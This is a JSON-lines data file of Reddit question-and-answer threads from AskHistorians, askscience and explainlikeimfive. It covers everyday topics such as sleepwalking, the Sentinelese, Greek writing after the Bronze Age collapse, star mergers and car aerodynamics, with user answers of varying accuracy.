{"q_id": "5u2vjd", "title": "Would anyone with a History or Anthropology degree like to be interviewed? Its for a school project.", "selftext": "The interview can be conducted over the phone, Skype or, via email. I would like to thank anyone in advance for taking the time to read my post.\n\nedit: The assignment is to interview someone who has a career(holds degree) in your interested field of study. You need to be in the United States. Most of the questions will about how to interviewe prepared for their career i.e. internships, courses.\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5u2vjd/would_anyone_with_a_history_or_anthropology/", "answers": {"a_id": ["ddqxrlu", "ddr74w8"], "score": [5, 4], "text": ["Could you perhaps elaborate on what the interview is all about? What is it that you will be asking about? Are you looking for someone from a specific country?", "If I can help, let me know. I have degrees in both anthro and history. [Here is my Amazon author's page](_URL_0_) if that helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.amazon.com/Ronald-M.-James/e/B001JS9G8Y/ref=dp_byline_cont_ebooks_1"]]}
{"q_id": "hbkjx", "title": "Question for the historic cooking scientist as well as any nutrition based scientists on the board.", "selftext": "Do you agree with the fundamentals of the Paleo diet?\r\n\r\nIn a nutshell, Paleo is using evolution and anthropology to better understand what food will optimize our bodies performance/health.\r\n\r\nHere is a quick [\"Intro To Paleo\"](_URL_0_) video that explains it quite well.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hbkjx/question_for_the_historic_cooking_scientist_as/", "answers": {"a_id": ["c1u44wk"], "score": [8], "text": ["I do historic cooking, not prehistoric cooking, and I'm also not a dietitian.\n\nBut all in all, I'm skeptical.  We've been doing agriculture for quite a long time, and as someone else pointed out on this board earlier, there's been pretty intense positive selection for lactose tolerance, which is likely related to agriculture.\n\nI also suspect the people in the paleolithic period were eating more plants than the proponents of this diet give them credit for.  In the historic era when colonists have entered situations where agriculture is impossible, they gather quite a lot of plants.  Also, there was just a study showing evidence of plant processing in the paleolithic, about 30,000 years ago.  There's also direct evidence for plant consumption among the Neanderthal.\n\nFurther, Katharine Milton from Berkeley argues that humanity was not strongly physically affected by the hunter-gatherer phase, as modern humans have, she says, similar gut anatomy to the great apes.\n\nSo, in all, while I've not studied the Paleo diet thoroughly, I'd say it falls on the side of a fad diet, and does not have a large amount of anthropological evidentiary support."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=uCFZoqmKf5M"], "answers_urls": [[]]}
{"q_id": "bdopq0", "title": "how have the sentinelese maintained their \u201cuncontacted\u201d status throughout history?", "selftext": "I was reading today about the [Sentinelese](_URL_0_) and how they\u2019ve managed to avoid contact with the outside world since ancient times. How did they manage this? I can understand tribes in the Amazon staying isolated since they\u2019re surrounded by miles of dense rain forest in every direction, but the Sentinelese seem to be smack dab in the center of the most populated area in the world. How did somebody not decide their island would make a nice outpost for their clan/kingdom/nation-state at any point in history?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bdopq0/eli5_how_have_the_sentinelese_maintained_their/", "answers": {"a_id": ["ekzrr8m", "ekzwdgb", "el031s2"], "score": [7, 4, 3], "text": ["From articles I've read to say they're not contacted is not accurate. Somewhat recently a Christian missionary was apparently killed trying to contact them but it wasn't the first time he was there, and was successful in visiting them before.\n\nTheir tribe part of the Andamanese and is one of several tribes on those islands. In the 1700's and 1800's the main island was colonized as a penal colony by Bengal and then the British.\n\nUltimately the islands developed a bad reputation for cannibalism and attacking anybody who came near. Many battles were fought between the islanders and outsiders; the Bengals, the British, the Japanese occupied them in WW2.\n\nI think ultimately the people of North Sentinel Island were hiding in plain sight for hundreds of years while the Andamanese the next island over were being ravaged by colonizers and occupiers. Then when India gained independence after WW2 they shut town the penal colony and made the islands a tribal refuge.\n\nNobody goes to North Sentinel Island because it is illegal to do so, they're now protected, and it's dangerous as the people will kill you and eat your eyeballs.", "There's nothing on the islands worth settlement, and they will kill anybody and everybody who tries to roll up.\n\nThe end.", "ELI5. They don\u2019t have anything worth taking, so nobody big goes over.\n\nYour friends get mad if you go, so you probably don\u2019t.\n\nIf you do go, they kill you anyway.\n\nNovelty."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Sentinelese"], "answers_urls": [[], [], []]}
{"q_id": "40mwfr", "title": "Are there any myths/oral histories/tales that can be traced to 'folk memory' of the Indo-European migrations?", "selftext": "I'm thinking of something along the lines of the sagas that were recorded about the German folk migrations - eg the Volsunga Saga. \n\nGranted it would be hindered significantly by the fact that the Germans were in contact with literate cultures and the Indo-Europeans generally were not, but perhaps some distant memory filtered down through myths or fictionalized heroes like Theseus?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/40mwfr/are_there_any_mythsoral_historiestales_that_can/", "answers": {"a_id": ["cyvjl6g"], "score": [17], "text": ["Is there research into trying to reconstruct proto-myths like this? It's fascinating but it would seem to be extraordinarily difficult."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ec03b", "title": "Do children of divorced parents differ academically from children of undivorced parents?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ec03b/do_children_of_divorced_parents_differ/", "answers": {"a_id": ["cjy1vdl", "cjy9g7m", "cjyju6r"], "score": [11, 9, 2], "text": ["Do not post speculation or personal experience.  \nThese are not scientific answers.", "In general children from traditional 'nuclear' families (not being in america this terminology always seemed strange to me but whatever) have greater academic achievement. \n\nsource: _URL_0_\n\n > It is well-known that, on average, children reared in traditional nuclear families have substantially better educational outcomes than stepchildren from stable blended families. We find that children reared in traditional nuclear families also have substantially better educational outcomes than the joint biological children from stable blended families. \n\n*Quick summary as the paper is somewhat longwinded*\n\nOnce they factored in outside variables (income, parents education etc) the difference between the groups was much smaller. The remaining difference is largely attributed to greater stresses in 'blended families'. Issues such as when it is appropriate for a step-parent to discipline a child, and how strongly are often viewed as less clear than when dealing with their own children. \n\nOther factors that were believe to play a role such as the trauma of family transitions themselves, or the difficulties leading up to a family splitting are thought to have an important impact. This study did not observe this affect, with children in 'stable blended families' never experiencing a transition, yet showing similar academic outcomes to single parent families and unstable blended families (below the 'nuclear' family outcome).  \n\nFinally the study points out that the difference could lie within the parents. People who choose the live in a stable 'nuclear' family setting could simply be different sorts of people (and thus treating their children differently) to people who choose otherwise. This goes some way to explaining why once you filter for things like income and parental education the gap between the different types of family is significantly reduced.\n\nHope this helps (not my speciality so excuse me just paraphrasing the study).", "Not all children are the same and the environment a child grows up in is a very big factor in their development. That being said the research says that children may develop some less than beneficial habits or issues. Here is a great study. Be careful when researching that you don't end up on a opinionated site. [source](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://apps.olin.wustl.edu/faculty/pollak/fs-06-04.pdf"], ["https://www.princeton.edu/futureofchildren/publications/docs/04_01_08.pdf"]]}
{"q_id": "5lq3cn", "title": "Modern accounts of the Bronze Age Collapse often claim that the Greeks forgot how to write. If so, when and how did writing get reintroduced? Was it the same writing system as had been used before, or was it a new one?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5lq3cn/modern_accounts_of_the_bronze_age_collapse_often/", "answers": {"a_id": ["dby1zy3"], "score": [10], "text": ["It's not so much that they forgot how to write, as that writing lost its function. The writing system known to the Greeks of the Late Bronze Age, a syllabic script known as Linear B, was primarily used as an administrative tool by the palace elites that ruled Mycenaean Greece. In the 12th century BC, when this societal organisation collapsed and regional government disappeared, there was no longer any need for written records. It is possible that palace scribes passed on the ability to write within their families for a few generations, but since there was no longer any demand or use for their skill, it was eventually lost altogether. For something like 400 years (c. 1150-750 BC), there is no evidence of the existence of writing anywhere in the Greek world.\n\nThe reintroduction of writing is not a well-attested history, but it is clear that the new writing system (the Greek alphabet) had no relation to Linear B. Instead, it was closely related to the Phoenician alphabet, and even the Greeks themselves believed that they had learned their letters from the Phoenicians. The 8th century BC provides a reasonable context for this knowledge transfer; the Phoenicians traded throughout the Mediterranean at this time, and they feature prominently as traders and travellers in the earliest works of Greek literature. How exactly the alphabet was adopted and transformed by the Greeks is not known, but it is likely that this happened in one of the various multi-ethnic trading ports established across the Mediterranean, where Greek traders and settlers would have mingled with Phoenicians. It is not surprising that some of the earliest known Greek alphabet writing, the inscription on the [Cup of Nestor](_URL_0_), was found in the trading settlement at Pithekoussai, on an island near modern Naples."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://hf-mirror.net/_cdn/classconnection.s3.amazonaws.com/456/flashcards/3010456/png/89-141ED4D5FCE41A9B718.png"]]}
{"q_id": "5gth1n", "title": "how are sleepwalkers able to make their way around the house without bumping into walls?", "selftext": "All the sleepwalking stories I've heard always seem to have the sleepwalker making their way around the house, and stopping in some room without bumping into walls. Does it just have to do with muscle memory? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gth1n/eli5_how_are_sleepwalkers_able_to_make_their_way/", "answers": {"a_id": ["dauxkqs", "davld90"], "score": [21, 5], "text": ["Their eyes are open. Sleep walking is not like you see in cartoons; unless you know someone is a sleep walker, you might interact with them at night without realizing they're actually asleep - I mean full conversations and the like. Sleep walking isn't eyes closed, snoring, walking around like a zombie.\n\nThis is going to sound outrageous, but I know a sleep walker/fire fighter who is no longer allowed to drive the truck during a night watch once the chief realized he was driving the truck, fighting the fire, and coming back to the station - entirely asleep. Several hours for a given call sometimes, and the next day he has zero recollection. Another sleep walker I knew in my childhood, he as a teenager, would come downstairs and ask his mother for cookies. Another friend of mine will hold weird and funny conversations as his dreams bleed into reality.", "As a sleepwalker, my mother always told me that my eyes were open and I was staring at her. I would walk out of my room and past the bathroom (the whole reason I was \"awake\") up the stairs to my parents room and stare at my mother until she woke up (I know I was creepy child). It didn't matter what side of the bed she was sleeping on. She then would walk me to the bathroom and we would go back to bed. I still wake up in storms sitting in the bathroom with the lights unable to turn on, not knowing how I got there. I don't know if it is an eyesight thing because I am practically blind without my glasses, but I have been told that my eyes were always open."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3uqcn2", "title": "li-fi, the presumed successor of wi-fi, uses visible light to transmit data. does this mean that future me won't be able to browse the internet in complete darkness?", "selftext": "Not for porn I swear...\n\n\n...okay, maybe for porn.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uqcn2/eli5_lifi_the_presumed_successor_of_wifi_uses/", "answers": {"a_id": ["cxgvug3"], "score": [7], "text": ["There is no suggestion, at the moment, that Li-fi would take over from Wifi.\n\nIt might be used to supplement Wifi in specific circumstances - but other restrictions, like the fact that it can't go through walls, would prevent it from replacing Wifi for the foreseeable future."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bkotal", "title": "which one reach 25 degree celsius first? a glass of 50 degree celsius water or a glass of 0 degree celsius ice? and why?", "selftext": "Let\u2019s say they are both put under the same 25C room temperature at the same time and no wind or else.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bkotal/eli5_which_one_reach_25_degree_celsius_first_a/", "answers": {"a_id": ["emic9md", "emicdqd", "emicoyn", "emie63v"], "score": [8, 10, 9, 2], "text": ["The glass of water.  While both need a 25\u00b0C temperature change the ice includes a phase change (solid to liquid) which will require additional energy.", "Well, it takes a lot of energy to transition between ice and water (or between water and steam), so the 50 degree celsius water will reach 25 degrees first.", "The 50 degree water will cool down a lot faster.\n\nThe  specific heat of water  it 4.186 joule/(gram \u00b0C) . So to change the temperature 25 degrees you need  4.186\\*25=104.65J/g\n\n & #x200B;\n\nTo melt ice  you need  333.55 Joule/gram and the do not change temperature, that ice 0C ice to 0C water.\n\n So just melting the ice to water you need 3.18 times more  energy then you need to remove for 50C water to reduce the temperature to 25.  So the total energy transfer to heat up the ice id 4.18 times more then is needed to cool the hot water down\n\nIt take the same amount of energy to melt ice as you need to heat it up from 0C to 80C", "Are we assuming the ambient air temp is 25\u00b0?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4rzcky", "title": "the coldest place in the universe is the boomerang nebula which has a temperature of 1 k or \u2212272.15 \u00b0c; does that mean that everything in that nebula is either liquid or solid since the boiling point of helium is -268.9\u00b0c?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4rzcky/eli5the_coldest_place_in_the_universe_is_the/", "answers": {"a_id": ["d55bzhw", "d55kf4m"], "score": [48, 20], "text": ["there would be so little matter that everything would still be gaseous \u2013 one of the reasons everything is so cold is because it's so un-dense (light? spacey? idk).\n\n-268.9\u02daC is the boiling point **at standard pressure**. This means that something more pressured (like a steam cooker) would have higher boiling and melting points (in fact, helium doesn't even freeze at all under standard pressure), and something less pressured (like, um, space) will have lower boiling and melting points. This is because if there is pressure, there is something holding the atoms down, and it takes less energy for the molecules to fight through the \"crowd\" of atoms.\n\nOh, and fun side note, this is why many recipes call for different amounts of water and stuff when you live on mountains.", "Just here to say that the Boomerang nebula is the coldest *natural* place in the universe. The coldest place in the universe was achieved on earth.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "79zakb", "title": "What effects do we know that emotional support animals have?", "selftext": "I'm curious what the science is about emotional support animals. I know that having a pet is generally good for you (you live longer, and you are happier and all that) but is there evidence that emotional support animals help with the things that they're a valid prescription for?\n\nI looked on Google Scholar and didn't find anything definitive and I found nothing on Wikipedia either.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/79zakb/what_effects_do_we_know_that_emotional_support/", "answers": {"a_id": ["dp7u8wb"], "score": [3], "text": ["Studies show that petting an animal reduces state-anxiety, and interactions with animals increase oxytocin, although it seems to be more effective in women.  I don't really know the stress relationship with oxytocin (if any), so I can't speak to what it actually means - that would probably be a good neuroscience question.\n\nAccording to: *Short-Term Interaction between Dogs and Their Owners: Effects on Oxytocin, Cortisol, Insulin and Heart Rate\u2014An Exploratory Study* (2015)\n\n\"Short-term sensory interaction between dogs and their owners influences hormonal levels and heart rate. However, further studies need to be performed in order to better understand the effects of interaction between dogs and their owners.\"\n\nOtherwise, there seems to be a lot of pushback over \"emotional support animals\" recently, as the perception is the designation gets handed out way too often.  A psychologist I know said that there is a small subset of patients that he has found this is an effective use for, but most psychologists he knows aren't comfortable certifying for them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8bz1qv", "title": "If Global Warming were to keep raising Earth\u2019s temperature, at which temperature would humans and crops not be able to survive outside?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8bz1qv/if_global_warming_were_to_keep_raising_earths/", "answers": {"a_id": ["dxdi3dk"], "score": [3], "text": ["Not at anything we can \"reach\" - if you are fine with abandoning large parts of the surface. There is no sharp threshold, things just get more difficult closer to the equator and sometimes easier closer to the poles. Unfortunately there is much more area closer to the equator than close to the poles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1k35ca", "title": "what is the subjunctive in spanish and why is it so hard?", "selftext": "I have a lot of friends taking Spanish, and they all seem to complain about subjunctive. Can you explain what it is and why it is so difficult for English speakers to learn?\n\nNote: I am an English speaker who took German through high school.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k35ca/eli5_what_is_the_subjunctive_in_spanish_and_why/", "answers": {"a_id": ["cbkw4yn"], "score": [2], "text": ["Although I'm moderately fluent in Spanish I don't trust myself to explain the subjunctive here, but I do suggest asking the folks in /r/linguistics . I can say that the subjunctive is a mood, not a tense. A grammatical mood is a way of altering verbs to express a speaker's attitude about what they're saying. English typically uses the what's called the [indicative mood](_URL_0_) where Spanish speaker would use the subjunctive.\n \n\nI can say that the subjunctive is not uniformly difficult for everyone. It is difficult for most English speakers however because it requires we conceptualize language in an unfamiliar way. Learning the tenses in Spanish isn't too difficult for most English speakers because English has more or less the same ones. However, subjunctive mood ~~doesn't really exist~~ is rare in modern English. Here's a link to discussion of [subjunctive mood in English](_URL_1_) if you're interested.\n\nThe structure of a statement in the subjunctive is actually very simple. The issue I've seen most English speakers have is knowing exactly when to use the subjunctive. The given conditions for its use-- requests; wishes; suggestions; impersonal statements, e.g. \"It's important that...\"; expressing emotions, e.g. \"She feels that...\"; and expressing doubt or denial-- can seem random to someone whose language doesn't regularly group them together. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Indicative_mood", "http://www.reddit.com/r/linguistics/comments/1ciq92/subjunctive_mood_in_english/"]]}
{"q_id": "otevj", "title": "How likely is alcohol to cause internal bleeding?", "selftext": "Is it limited to people with cirrhosis? Is it possible that just one night of moderate/heavy drinking (let's say 4-8 drinks) can cause internal bleeding? Any idea how much more likely it is for people with thin blood?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/otevj/how_likely_is_alcohol_to_cause_internal_bleeding/", "answers": {"a_id": ["c3jwgdv"], "score": [4], "text": ["I've got to ask why do you think alcohol has a chance to cause internal bleeding? What brough this question to mind?\n\nI don't think this list is exhaustive but the first 3 ways for alcohol to cause internal bleeding that jump to mind are through causing Mallory-Weiss tears, liver cirrhosis leading to varices and liver cirrhosis leading to low clotting factors.\n\nMallory-Weiss tears aren't specific to alcohol, but are commonly linked with drinking large quantities of alcohol. They are where the lining of your stomach is torn due to retching. They can occur in anyone who is retching, even if they have never drunk before, so no, cirrhosis isn't needed for alcohol to cause internal bleeding.\n\nTo explain the latter to, when your liver becomes cirrhotic two important things occur - 1. Your liver stops being able to produce the clotting factors needed to keep you from bleeding. 2. Vessels blood that normally passes through the liver from the gut is blocked off, and has to find another way round. The blood so flows through small collateral blood vessels in a persons rectum and oesophagus, which dilates the vessels far more than they are meant to, so making them prone to rupture (these are varices).\n\nMallory-Weiss tears have a low chance of causing bleeding in anyone every time they drink, the other two are certain to happen with sufficiently bad (and untreated) cirrhosis."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1sxohp", "title": "[Engineering] How do aerodynamics effect cars other than air resistance?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1sxohp/engineering_how_do_aerodynamics_effect_cars_other/", "answers": {"a_id": ["ce29hmp", "ce2ajtb", "ce2auzu", "ce2b3on"], "score": [9, 3, 6, 3], "text": ["Aerodynamics also give cars lift or downforce. Racing cars typically want a large amount of downforce such that they can go around corners faster without slipping sideways due to the increased friction force from the downforce. You obviously want as little lift as possible in a car otherwise you risk turning the car into an uncontrollable flying object.\n\nAerodynamics also effect a cars resistance to gusts of wind. Large lorries can be liable to tip over if they are caught by a crosswind and smaller cars can be blown sideways.\n\nWith aerodynamics there are many trade-offs. Increasing downforce tends to increase drag. Reducing susceptibility to cross-winds tends to make your car wider and lower.", "To take a different side, too much downforce also causes a higher rolling resistance and makes it more difficult to accelerate as a function of velocity. The trick is to try to minimize drag, and balance downforce with effective weight at a given speed. ", "When you go testing in a wind tunnel you look for various things besides the more well talked about coefficient of lift or drag.\nPersonally I have done a lot of testing in wind tunnels involving: \nTesting for air intake tracts to test for ram charging - to make sure that the combined intake charge of the vehicle moving and the engine intake flow does not cause any adverse effects - some manufactures like can use this effect to provide more boosting at speed.\nmass air flow stability - the majority of modern diesel engines have a mass air flow sensor which measures the mass of air entering the engine and this is used to control injection timing - errors in this reading can cause an engine to produce significantly different power outputs.\nWith massive improvements in refinement Aerodynamics are getting a much more focus on their effects on cabin noise - whistling around the A pillar is a significant bug bear of mine with a few manufacturers using trips around the lights to deflect this flow.\nCooling is a big focus - you need to get the correct amount of airflow to provide the correct cooling but this is also a significant proportion of drag as you have to intentionally modify the airflow. On the other side of cooling certain things need to warm up especially in severe climates so you have to make sure they are not exposed to the flows\nAnd finally dirt build up is a major problem with modern cars you have to make sure that vortexes are formed in the right way so you don't have the windows or components clogging up.\nTLDR - air intakes. Noise, cooling and dirt build up.", "I'm an aerodynamics engineer for a race team (aerospace engineering undergrad). Besides drag and downforce, aerodynamics also affects the stability and balance of a  vehicle. It can create stable or unstable yaw moments, or shift the effective load balance on the wheels fore/aft such that the understeer or oversteer characteristics change with different attitudes and or speeds.\n\nUnstable separations can also cause turbulent instabilities and contribute to buffeting/wind noise in a passenger cabin when you roll down windows due to pressure fluctuations from vortex shedding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2ud01i", "title": "why do north american sports declare themselves world champions, when no international teams are involved?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ud01i/eli5_why_do_north_american_sports_declare/", "answers": {"a_id": ["co799gy", "co79jy6", "co79kpe", "co7b05z", "co7bam8", "co7bcwa", "co7bdyd", "co7cwjr", "co7i1wg", "co7i3hm"], "score": [59, 13, 8, 11, 2, 122, 8, 5, 4, 4], "text": ["Because a victory by default is still a victory.", "I'm going to assume this has to do with the amount of interest the rest of the world has in said sport. But from what I heard I think London is going to have a team in the NFL soon or at least that's what the NFL wants.", "You mean like the World Series?\n\nThat's just the name of the championship for MLB. It doesn't mean that it's the championship of the world.\n\nThe actual championship of the world is the World Baseball Classic.", "The cities that are represented don't matter. Their geographic location doesn't matter either. The sport of basketball, hockey, baseball and football all have their ultimate (top-end) leagues. They're based in North America but the players who compete in them are from across the world. \n\nThus, when you are champions in any of these sports, you are the world champions. ", "Related: How can there be a Ms. Universe without other planets involved?", "The same reason that Earth elects a new Miss Universe every year. ", "Part of it is just marketing hype...world champion sounds better than North American Champion.  And even North American Champion has the problem, as there are 9 other North American countries outside of  the US and Canada, more if you include the Caribbean.\n\nHowever, it is not an unreasonable claim...with the 4 big US sports, it is hard to argue there are better teams anywhere else.", "It is just a name. Independent American baseball leagues are not invited to play in the World Series either. Only the AL and NL are invited. \n\nIt most likely has to do with the leagues attempting to make baseball more popular around the world, when no one else expressed interest, they were stuck with the name and the media ate it up. Back then it felt like a novel idea, today it just feels like self inflation.", "[It's an open invitation... come on... try and take the title.](_URL_0_)", "Because no other countries give a damn about their commercial breaks with some sport in between."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://iutelecomgrad.files.wordpress.com/2013/11/america-gif.gif?w=585"], []]}
{"q_id": "8diazu", "title": "Why are thermal images so blurry? What is hard about making thermal imaging lenses?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8diazu/why_are_thermal_images_so_blurry_what_is_hard/", "answers": {"a_id": ["dxnhjgm"], "score": [15], "text": ["Cost is the major reason. Most IR detectors have a resolution lower than even the cheapest cellphone camera. Thre IR detectors and lenses are very expensive\nThe Flir T660 has a 640x480 resolution, very high for IR  cameras. The cost is $25000 to $30000"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4bbond", "title": "Can a dying star extend its life-span by absorbing another star?", "selftext": "Can a white dwarf star absorb another star to either extend its life as a white dwarf, or regenerate back to a red/yellow/blue star?\n\nCan a neutron star do the same? Or would the particles simply break down to neutrons?\n\nWould red giants shrink after absorbing a blue star, due to the new supply of hydrogen?  Would they change color at all?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4bbond/can_a_dying_star_extend_its_lifespan_by_absorbing/", "answers": {"a_id": ["d17u3b8"], "score": [24], "text": ["Most of the time when two white dwarfs merge they new star formed will be unstable and cross over the [Chandrasekhar limit](_URL_1_) the star will be heavy enough to support fusion again and begin to fuse carbon into neon. Runaway fusion will cause the star to go supernova. White dwarfs usually are around 0.5 to 0.8 solar masses and if they reach 1.4 solar masses they go Boom. If a small white dwarf and an active star merge they just form a new stable star with the material of the white dwarf pulled into the core of the other star and start undergoing fusion again \n\nWhen two Neutron stars collide and pass over the [Tolman\u2013Oppenheimer\u2013Volkoff limit](_URL_0_) the new formed core will be too heavy and collapse inwards and form a blackhole. Given that the smallest neutron star observed and theoretically possible is around 1.2 solar masses and the limit for turning into a black hole is 1.5 to 3.0 solar masses they would almost always turn into a Black hole.\n\nIf a neutron star merges with a normal star they form a Thorne\u2013\u017bytkow object, a normal star with a neutron star as core. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Tolman%E2%80%93Oppenheimer%E2%80%93Volkoff_limit", "https://en.wikipedia.org/wiki/Chandrasekhar_limit"]]}
{"q_id": "6c6j6i", "title": "In the Count of Monte Cristo, Dumas disparages the quality of italian cuisine, saying a man \"had been condemned to partake of Italian cookery\u2014that is, the worst in the world.\" Was Italian cuisine not regarded as highly in the 19th century?", "selftext": "I was a little surprised by the statement as Italy is known for their food. I understand that Dumas was french, so was this more of a personal distaste he had or was Italian cuisine generally disliked? The book was published in 1844.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6c6j6i/in_the_count_of_monte_cristo_dumas_disparages_the/", "answers": {"a_id": ["dhsqnm9"], "score": [24], "text": ["Piggybacking this. Why is Italian cuisine highly regarded now? I see getting techniques and dishes are more refined."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9roe99", "title": "jets", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9roe99/eli5_jets/", "answers": {"a_id": ["e8if3tc", "e8ifa7r", "e8ifnp1"], "score": [5, 3, 3], "text": ["It's condensation. Water vapour in the air condensates on the wings and jets of planes just as water vapour condensates and the side of a cold glass. ", "It\u2019s moisture in the air that is condensing under the speed and pressure of the wings moving past.\n\nYou see this also in the sky when jets cross high in the sky and leave long trails behind them.", "Condensation in low pressure areas of air near the wing. When pressure momentarily drops, so does the temperature (called adiabatic cooling), and where the temperature falls below the dew point of the air, you get water droplet formation (condensation). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2dwwjz", "title": "How do I determine if a peptide will be a-helical or a b-sheet just by looking at the primary structure?", "selftext": "Hi so I am trying to teach myself some biochem before the semester starts and was wondering how I would determine if a sequence of AAs is more likely to form an a-helix or b-sheet just by looking at the primary sequence?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2dwwjz/how_do_i_determine_if_a_peptide_will_be_ahelical/", "answers": {"a_id": ["cjtwbb9", "cju1ur9"], "score": [8, 3], "text": ["If what you mean is being able to look at a given sequence predict \"by eye\" whether it will form a helix or sheet, you're going to have a difficult time.  There's just too many variables at play to be able to come up with any solid, simple rules.\n\nHowever there are quite a bit of software methods that have been written to tackle this problem, by attempting to take all these variables into account, and/or comparing the sequence to sequences whose structure is known.\n\n[link to wiki page listing some such programs](_URL_0_)", "One way to get a sense of if a sequence is likely to form an alpha-helix is by looking at the table of [alpha helix propensities](_URL_0_). (Low values in this table mean good for alpha helices, which is not the way I would've done it, but....) So, for example, if you have a bunch of alanines in a row, they have a good chance of forming an alpha helix; if you have a segment with a proline in the middle, it will *not* form an alpha helix no matter what else is around it.\n\nYou can google the term \"alpha helix propensity\" to see a few papers that investigate this phenomenon from a few different directions, which will give you a broader notion of what factors are at play here. On the other hand, it's harder to cleanly define \"beta sheet propensities\", because that is a more global property of the sequence, involving more intuition about which distant parts of the sequence may end up near each other when the protein/polypeptide is folded."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/List_of_protein_structure_prediction_software#Secondary_structure_prediction"], ["http://en.wikipedia.org/wiki/Alpha_helix#Table_of_standard_amino_acid_alpha-helical_propensities"]]}
{"q_id": "8k4lrq", "title": "why is it that even with two different size holes in a pencil sharpener, i still come out with too large of a graphite tip that consistently breaks off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8k4lrq/eli5_why_is_it_that_even_with_two_different_size/", "answers": {"a_id": ["dz4qwm0", "dz4xv41", "dz4y8dp", "dz4yjwe", "dz4zmzi", "dz5598y"], "score": [18, 6, 10, 75, 27, 4], "text": ["The holes are usually just to hold the pencil centered in the sharpener. The length of the point is determined by the angle of the sharpener, which for most sharpeners is completely unaffected by the holes.", "I haven't got a good explanation but I was taught to turn the sharpener instead of the pencil.", "Rotating the sharpener around the pencil causes less breakage than turning the pencil. It\u2019s something they teach you to help prevent breaking colored pencils, as they are softer. ", "If your pencil lead breaks constantly no matter how you sharpen it, that probably means the lead is already splintered inside the pencil. This is caused by dropping your pencils or other similar impacts, and the only real fix is to buy another pencil.", "The two holes are for different diameter pencils.  They are supposed to be rather tight to keep the pencil in line with the sharpening bit.  Only use the big hole if you can\u2019t fit in the small one.", "The angle of the blade is very much the factor. The two holes likely have the same angle and are simply designed for two different sizes of pencil.\n\nYou could consider using an X-acto knife to cut your pencils as desired.\n\nI would personally just gently dull the end of the pencil on a blank piece of paper so that you wear down the sharp narrow tip before you begin writing, because if the tip breaks off, youre going to have a jagged piece that you may want to use more force on, breaking it further.\n\nI would also just recommend a pen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
